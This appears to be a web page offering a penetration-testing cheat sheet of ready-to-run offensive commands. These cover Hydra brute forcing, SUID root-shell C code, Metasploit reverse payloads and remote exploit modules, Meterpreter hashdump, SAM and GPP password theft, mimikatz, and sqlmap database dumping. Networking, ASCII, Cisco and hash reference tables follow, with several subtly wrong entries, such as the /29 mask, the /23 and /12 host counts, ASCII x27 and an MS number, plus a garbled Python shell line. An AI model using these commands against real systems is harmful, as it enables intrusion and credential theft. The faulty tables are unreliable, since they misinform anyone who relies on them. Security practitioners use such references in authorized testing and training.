Recon and Enumeration
Nmap Commands
For more commands, see the Nmap cheat sheet (link in the menu on the right).
Basic Nmap Commands:
COMMAND
| DESCRIPTION
|
nmap -v -sS -A -T4 target
| Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
|
nmap -v -sS -p--A -T4 target
| As above but scans all TCP ports (takes a lot longer)
|
nmap -v -sU -sS -p- -A -T4 target
| As above but scans all TCP ports and UDP scan (takes even longer)
|
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
| Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
|
ls /usr/share/nmap/scripts/* | grep ftp
| Search nmap scripts for keywords
|
SMB enumeration
Also see, nbtscan cheat sheet (right hand menu).
COMMAND
| DESCRIPTION
|
nbtscan 192.168.1.0/24
| Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
|
enum4linux -a target-ip
| Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
|
Other Host Discovery
Other methods of host discovery, that don’t use nmap…
COMMAND
| DESCRIPTION
|
netdiscover -r 192.168.1.0/24
| Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site
|
SMB Enumeration
Enumerate Windows shares / Samba shares.
COMMAND
| DESCRIPTION
|
nbtscan 192.168.1.0/24
| Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
|
enum4linux -a target-ip
| Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
|
Python Local Web Server
Python local web server command, handy for serving up shells and exploits on an attacking machine.
COMMAND
| DESCRIPTION
|
python -m SimpleHTTPServer 80
| Run a basic http server, great for serving up shells etc
|
Mounting File Shares
How to mount NFS / CIFS, Windows and Linux file shares.
COMMAND
| DESCRIPTION
|
mount 192.168.1.1:/vol/share /mnt/nfs
| Mount NFS share to /mnt/nfs
|
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
| Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
|
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
| Mount a Windows share on Windows from the command line
|
apt-get install smb4k -y
| Install smb4k on Kali, useful Linux GUI for browsing SMB shares
|
Basic Finger Printing
Manual finger printing / banner grabbing.
COMMAND
| DESCRIPTION
|
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
| Basic versioning / finger printing via displayed banner
|
SNMP Enumeration
COMMAND
| DESCRIPTION
|
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
| SNMP enumeration
|
DNS Zone Transfers
COMMAND
| DESCRIPTION
|
nslookup -> set type=any -> ls -d blah.com
| Windows DNS zone transfer
|
dig axfr blah.com @ns1.blah.com
| Linux DNS zone transfer
|
DNSRecon
DNS Enumeration Kali - DNSRecon
root:
~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
HTTP / HTTPS Webserver Enumeration
COMMAND
| DESCRIPTION
|
nikto -h 192.168.1.1
| Perform a nikto scan against target
|
dirbuster
| Configure via GUI, CLI input doesn't work most of the time
|
Packet Inspection
COMMAND
| DESCRIPTION
|
tcpdump tcp port 80 -w output.pcap -i eth0
| tcpdump for port 80 on interface eth0, outputs to output.pcap
|
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
SMB User Enumeration
COMMAND
| DESCRIPTION
|
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
| Enumerate users from SMB
|
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
| RID cycle SMB / enumerate users from SMB
|
SNMP User Enumeration
COMMAND
| DESCRIPTION
|
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
| Enmerate users from SNMP
|
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
| Enmerate users from SNMP
|
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
| Search for SNMP servers with nmap, grepable output
|
Passwords
Wordlists
COMMAND
| DESCRIPTION
|
/usr/share/wordlists
| Kali word lists
|
Brute Forcing Services
Hydra FTP Brute Force
COMMAND
| DESCRIPTION
|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
| Hydra FTP brute force
|
Hydra POP3 Brute Force
COMMAND
| DESCRIPTION
|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
| Hydra POP3 brute force
|
Hydra SMTP Brute Force
COMMAND
| DESCRIPTION
|
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
| Hydra SMTP brute force
|
Use
-t
to limit concurrent connections, example:
-t 15
Password Cracking
John The Ripper - JTR
COMMAND
| DESCRIPTION
|
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
| JTR password cracking
|
john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt
| JTR forced descrypt cracking with wordlist
|
john --format=descrypt hash --show
| JTR forced descrypt brute force cracking
|
Exploit Research
Ways to find exploits for enumerated hosts / services.
COMMAND
| DESCRIPTION
|
searchsploit windows 2003 | grep -i local
| Search exploit-db for exploit, in this example windows 2003 + local esc
|
site:exploit-db.com exploit kernel <= 3
| Use google to search exploit-db.com for exploits
|
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
| Search metasploit modules using grep - msf search sucks a bit
|
Windows Penetration Testing Commands
See Windows Penetration Testing Commands.
Linux Penetration Testing Commands
See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.
Compiling Exploits
Some notes on compiling exploits.
Identifying if C code is for Windows or Linux
C #includes will indicate which OS should be used to build the exploit.
COMMAND
| DESCRIPTION
|
process.h, string.h, winbase.h, windows.h, winsock2.h
| Windows exploit code
|
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
| Linux exploit code
|
Build Exploit GCC
Compile exploit gcc.
COMMAND
| DESCRIPTION
|
gcc -o exploit exploit.c
| Basic GCC compile
|
GCC Compile 32Bit Exploit on 64Bit Kali
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
COMMAND
| DESCRIPTION
|
gcc -m32 exploit.c -o exploit
| Cross compile 32 bit binary on 64 bit Linux
|
Compile Windows .exe on Linux
Build / compile windows exploits on Linux, resulting in a .exe file.
COMMAND
| DESCRIPTION
|
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
| Compile windows .exe on Linux
|
SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:
SUID C Shell for /bin/bash
int
main(
void
){
setresuid(0, 0, 0);
system("/bin/bash");
}
SUID C Shell for /bin/sh
int
main(
void
){
setresuid(0, 0, 0);
system("/bin/sh");
}
Building the SUID Shell binary
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c
Reverse Shells
See
Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
TTY Shells
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like
su
from reverse shells.
Python TTY Shell Trick
python -c 'import pty;pty.spawn("/bin/bash")'echo os.system('/bin/bash')
Spawn Interactive sh shell
/bin/sh -i
Spawn Perl TTY Shell
exec "/bin/sh";
perl
—
e
'exec "/bin/sh";'
Spawn Ruby TTY Shell
exec "/bin/sh"
Spawn Lua TTY Shell
os.execute('/bin/sh')
Spawn TTY Shell from Vi
Run shell commands from vi:
:!bash
Spawn TTY Shell NMAP
!sh
Metasploit
Some basic Metasploit stuff, that I have found handy for reference.
Basic Metasploit commands, useful for reference, for pivoting see -
Meterpreter Pivoting techniques.
Meterpreter Payloads
Windows reverse meterpreter payload
COMMAND
| DESCRIPTION
|
set payload windows/meterpreter/reverse_tcp
| Windows reverse tcp payload
|
Windows VNC Meterpreter payload
COMMAND
| DESCRIPTION
|
set payload windows/vncinject/reverse_tcp
set ViewOnly false
| Meterpreter Windows VNC Payload
|
Linux Reverse Meterpreter payload
COMMAND
| DESCRIPTION
|
set payload linux/meterpreter/reverse_tcp
| Meterpreter Linux Reverse Payload
|
Meterpreter Cheat Sheet
Useful meterpreter commands.
COMMAND
| DESCRIPTION
|
upload file c:\\windows
| Meterpreter upload file to Windows target
|
download c:\\windows\\repair\\sam /tmp
| Meterpreter download file from Windows target
|
download c:\\windows\\repair\\sam /tmp
| Meterpreter download file from Windows target
|
execute -f c:\\windows\temp\exploit.exe
| Meterpreter run .exe on target - handy for executing uploaded exploits
|
execute -f cmd -c
| Creates new channel with cmd shell
|
ps
| Meterpreter show processes
|
shell
| Meterpreter get shell on the target
|
getsystem
| Meterpreter attempts priviledge escalation the target
|
hashdump
| Meterpreter attempts to dump the hashes on the target
|
portfwd add –l 3389 –p 3389 –r target
| Meterpreter create port forward to target machine
|
portfwd delete –l 3389 –p 3389 –r target
| Meterpreter delete port forward
|
Common Metasploit Modules
Top metasploit modules.
Remote Windows Metasploit Modules (exploits)
COMMAND
| DESCRIPTION
|
use exploit/windows/smb/ms08_067_netapi
| MS08_067 Windows 2k, XP, 2003 Remote Exploit
|
use exploit/windows/dcerpc/ms06_040_netapi
| MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
|
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
| MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
|
Local Windows Metasploit Modules (exploits)
COMMAND
| DESCRIPTION
|
use exploit/windows/local/bypassuac
| Bypass UAC on Windows 7 + Set target + arch, x86/64
|
Auxilary Metasploit Modules
COMMAND
| DESCRIPTION
|
use auxiliary/scanner/http/dir_scanner
| Metasploit HTTP directory scanner
|
use auxiliary/scanner/http/jboss_vulnscan
| Metasploit JBOSS vulnerability scanner
|
use auxiliary/scanner/mssql/mssql_login
| Metasploit MSSQL Credential Scanner
|
use auxiliary/scanner/mysql/mysql_version
| Metasploit MSSQL Version Scanner
|
use auxiliary/scanner/oracle/oracle_login
| Metasploit Oracle Login Module
|
Metasploit Powershell Modules
COMMAND
| DESCRIPTION
|
use exploit/multi/script/web_delivery
| Metasploit powershell payload delivery module
|
post/windows/manage/powershell/exec_powershell
| Metasploit upload and run powershell script through a session
|
use exploit/multi/http/jboss_maindeployer
| Metasploit JBOSS deploy
|
use exploit/windows/mssql/mssql_payload
| Metasploit MSSQL payload
|
Post Exploit Windows Metasploit Modules
COMMAND
| DESCRIPTION
|
run post/windows/gather/win_privs
| Metasploit show privileges of current user
|
use post/windows/gather/credentials/gpp
| Metasploit grab GPP saved passwords
|
load mimikatz -> wdigest
| Metasplit load Mimikatz
|
run post/windows/gather/local_admin_search_enum
| Idenitfy other machines that the supplied domain user has administrative access to
|
Networking
TTL Fingerprinting
OPERATING SYSTEM
| TTL SIZE
|
Windows
| 128
|
Linux
| 64
|
Solaris
| 255
|
Cisco / Network
| 255
|
IPv4
Classful IP Ranges
E.g Class A,B,C (depreciated)
CLASS
| IP ADDRESS RANGE
|
Class A IP Address Range
| 0.0.0.0 - 127.255.255.255
|
Class B IP Address Range
| 128.0.0.0 - 191.255.255.255
|
Class C IP Address Range
| 192.0.0.0 - 223.255.255.255
|
Class D IP Address Range
| 224.0.0.0 - 239.255.255.255
|
Class E IP Address Range
| 240.0.0.0 - 255.255.255.255
|
IPv4 Private Address Ranges
CLASS
| RANGE
|
Class A Private Address Range
| 10.0.0.0 - 10.255.255.255
|
Class B Private Address Range
| 172.16.0.0 - 172.31.255.255
|
Class C Private Address Range
| 192.168.0.0 - 192.168.255.255
|
| 127.0.0.0 - 127.255.255.255
|
IPv4 Subnet Cheat Sheet
CIDR
| DECIMAL MASK
| NUMBER OF HOSTS
|
/31
| 255.255.255.254
| 1 Host
|
/30
| 255.255.255.252
| 2 Hosts
|
/29
| 255.255.255.249
| 6 Hosts
|
/28
| 255.255.255.240
| 14 Hosts
|
/27
| 255.255.255.224
| 30 Hosts
|
/26
| 255.255.255.192
| 62 Hosts
|
/25
| 255.255.255.128
| 126 Hosts
|
/24
| 255.255.255.0
| 254 Hosts
|
/23
| 255.255.254.0
| 512 Host
|
/22
| 255.255.252.0
| 1022 Hosts
|
/21
| 255.255.248.0
| 2046 Hosts
|
/20
| 255.255.240.0
| 4094 Hosts
|
/19
| 255.255.224.0
| 8190 Hosts
|
/18
| 255.255.192.0
| 16382 Hosts
|
/17
| 255.255.128.0
| 32766 Hosts
|
/16
| 255.255.0.0
| 65534 Hosts
|
/15
| 255.254.0.0
| 131070 Hosts
|
/14
| 255.252.0.0
| 262142 Hosts
|
/13
| 255.248.0.0
| 524286 Hosts
|
/12
| 255.240.0.0
| 1048674 Hosts
|
/11
| 255.224.0.0
| 2097150 Hosts
|
/10
| 255.192.0.0
| 4194302 Hosts
|
/9
| 255.128.0.0
| 8388606 Hosts
|
/8
| 255.0.0.0
| 16777214 Hosts
|
ASCII Table Cheat Sheet
Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.
ASCII
| CHARACTER
|
x00
| Null Byte
|
x08
| BS
|
x09
| TAB
|
x0a
| LF
|
x0d
| CR
|
x1b
| ESC
|
x20
| SPC
|
x21
| !
|
x22
| "
|
x23
| #
|
x24
| $
|
x25
| %
|
x26
| &
|
x27
| `
|
x28
| (
|
x29
| )
|
x2a
| *
|
x2b
| +
|
x2c
| ,
|
x2d
| -
|
x2e
| .
|
x2f
| /
|
x30
| 0
|
x31
| 1
|
x32
| 2
|
x33
| 3
|
x34
| 4
|
x35
| 5
|
x36
| 6
|
x37
| 7
|
x38
| 8
|
x39
| 9
|
x3a
| :
|
x3b
| ;
|
x3c
| <
|
x3d
| =
|
x3e
| >
|
x3f
| ?
|
x40
| @
|
x41
| A
|
x42
| B
|
x43
| C
|
x44
| D
|
x45
| E
|
x46
| F
|
x47
| G
|
x48
| H
|
x49
| I
|
x4a
| J
|
x4b
| K
|
x4c
| L
|
x4d
| M
|
x4e
| N
|
x4f
| O
|
x50
| P
|
x51
| Q
|
x52
| R
|
x53
| S
|
x54
| T
|
x55
| U
|
x56
| V
|
x57
| W
|
x58
| X
|
x59
| Y
|
x5a
| Z
|
x5b
| [
|
x5c
| \
|
x5d
| ]
|
x5e
| ^
|
x5f
| _
|
x60
| `
|
x61
| a
|
x62
| b
|
x63
| c
|
x64
| d
|
x65
| e
|
x66
| f
|
x67
| g
|
x68
| h
|
x69
| i
|
x6a
| j
|
x6b
| k
|
x6c
| l
|
x6d
| m
|
x6e
| n
|
x6f
| o
|
x70
| p
|
x71
| q
|
x72
| r
|
x73
| s
|
x74
| t
|
x75
| u
|
x76
| v
|
x77
| w
|
x78
| x
|
x79
| y
|
x7a
| z
|
CISCO IOS Commands
A collection of useful Cisco IOS commands.
COMMAND
| DESCRIPTION
|
enable
| Enters enable mode
|
conf t
| Short for, configure terminal
|
(config)# interface fa0/0
| Configure FastEthernet 0/0
|
(config-if)# ip addr 0.0.0.0 255.255.255.255
| Add ip to fa0/0
|
(config-if)# ip addr 0.0.0.0 255.255.255.255
| Add ip to fa0/0
|
(config-if)# line vty 0 4
| Configure vty line
|
(config-line)# login
| Cisco set telnet password
|
(config-line)# password YOUR-PASSWORD
| Set telnet password
|
# show running-config
| Show running config loaded in memory
|
# show startup-config
| Show sartup config
|
# show version
| show cisco IOS version
|
# show session
| display open sessions
|
# show ip interface
| Show network interfaces
|
# show interface e0
| Show detailed interface info
|
# show ip route
| Show routes
|
# show access-lists
| Show access lists
|
# dir file systems
| Show available files
|
# dir all-filesystems
| File information
|
# dir /all
| SHow deleted files
|
# terminal length 0
| No limit on terminal output
|
# copy running-config tftp
| Copys running config to tftp server
|
# copy running-config startup-config
| Copy startup-config to running-config
|
Cryptography
Hash Lengths
HASH
| SIZE
|
MD5 Hash Length
| 16 Bytes
|
SHA-1 Hash Length
| 20 Bytes
|
SHA-256 Hash Length
| 32 Bytes
|
SHA-512 Hash Length
| 64 Bytes
|
Hash Examples
Likely just use hash-identifier for this but here are some example hashes:
HASH
| EXAMPLE
|
MD5 Hash Example
| 8743b52063cd84097a65d1633f5c74f5
|
MD5 $PASS:$SALT Example
| 01dfae6e5d4d90d9892622325959afbe:7050461
|
MD5 $SALT:$PASS
| f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
|
SHA1 Hash Example
| b89eaac7e61417341b710b727768294d0e6a277b
|
SHA1 $PASS:$SALT
| 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
|
SHA1 $SALT:$PASS
| cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
|
SHA-256
| 127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
|
SHA-256 $PASS:$SALT
| c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
|
SHA-256 $SALT:$PASS
| eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
|
SHA-512
| 82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
|
SHA-512 $PASS:$SALT
| e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
|
SHA-512 $SALT:$PASS
| 976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
|
NTLM Hash Example
| b4b9b02e6f09a9bd760f388b67351e2b
|
SQLMap Examples
COMMAND
| DESCRIPTION
|
sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
| Automated sqlmap scan
|
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
| Targeted sqlmap scan
|
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
| Scan url for union + error based injection with mysql backend
and use a random user agent + database dump
|
sqlmap -o -u "http://meh.com/form/" --forms
| sqlmap check form for injection
|
sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
| sqlmap dump and crack hashes for table users on database-name.
|